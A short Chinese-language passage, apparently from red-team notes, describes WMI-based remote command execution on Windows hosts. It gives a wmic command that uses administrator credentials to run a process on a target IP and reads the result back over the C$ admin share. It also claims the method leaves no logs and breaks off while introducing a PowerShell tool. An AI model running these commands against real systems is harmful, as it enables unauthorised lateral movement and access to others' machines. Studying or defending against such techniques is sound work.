文章目录
1. 自带WMIC
特点:
- 不会产生日志记录
- 没有回显,若要查看命令结果需要配合IPC$与type命令
wmic /node:10.1.1.2 /user:administrator /password:1234567.com process call create "cmd.exe /c ipconfig >c:\ip.txt"
type \\10.1.1.2\c$\ip.txt

2. Invoke-WmiCommand.ps1
地址:https://github.com/AA8j/SecTools/tree/main/Invoke-WmiCommand.ps1
特点: